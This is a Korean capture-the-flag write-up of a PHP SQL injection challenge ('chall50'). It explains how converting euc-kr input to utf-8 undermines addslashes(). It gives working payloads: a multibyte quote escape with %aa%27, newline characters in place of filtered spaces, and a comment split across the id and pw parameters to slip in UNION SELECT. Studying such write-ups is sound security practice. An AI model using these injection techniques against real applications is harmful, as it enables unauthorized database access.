Write-Up
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
위 php 코드를 해석해보도록 한다.
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
request 된 id, pw 의 인자 값들에 대한 addslashes()를 적용시키고 있다. ' (싱글 쿼터), " ( 더블 쿼터), \ (백슬래시) , NULL 바이트 등의 처리해야할 문자가 사용될 때, 앞에 \ 를 붙여 sql injection을 방어하는 기법이다.
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
먼저, mb_convert_encoding( 변환할 문자열 또는 배열 , 변환 할 인코딩 형식, 현재 인코딩 형식 ); 의 동작 방식이다. 즉 'euc-kr' 에서 'utf-8' 형식으로 변환을 진행해준다. utf-8은 멀티바이트 언어 셋 환경이므로 addslashes()를 우회할 수 있다. ( 이전까지는 addslashes()에 대한 무조건 적인 우회 방법이 %f1,%aa... 인줄 알았으나, Multibyte 환경에 한정된다는 것을 알게 되었다. )
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
위는 필터링 조건이다.
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}') 와 같은 query로 $result 가 초기화 된다. $result 값이 true 이냐, $result['lv'] 값이 무엇이냐에 따라 결과가 달라진다.
이제 본격적으로 exploit을 진행해본다.
공백 필터링 우회
%0a %0b %0c %0d %09 +(필터링) %20(필터링)
참 반응을 보인 payload ( id='guest%f1%5c' or 1#&pw=nono )
?id=guest%aa%27%0aor%0a1%23&pw=nono
lv 1,2 까지는 결과가 출력되지만, 테이블 내에 lv 3값이 존재하지 않아서 그런지, lv like 3 과 같은 query 에는 효과가 없다.
?id=guest%aa%27%0aor%0alv%0alike%0a0x32%23&pw=guest
union select 구문을 통해 lv 컬럼에 대한 값을 지정해 출력하고 싶은데, GET['id'] 요청에는 union 에 대한 필터링이 걸려있으므로, pw 파라미터를 이용하도록 한다.
아래와 같은 payload를 사용해준다. ( /* */ 는 sql 에서 주석을 의미한다. )
?id=%aa%27/*&pw=*/union%0aselect%0a3%23
그럼 아래와 같이 query가 구성되어지며, 문제를 해결할 수 있다.
select lv from chall50 where id=' %aa%27/* ' and pw=md5(' */union%0aselect%0a3%23 ')
참고
https://blog.naver.com/bbmobile/221360230141
https://rootable.tistory.com/144
https://blog.naver.com/skinfosec2000/220535626029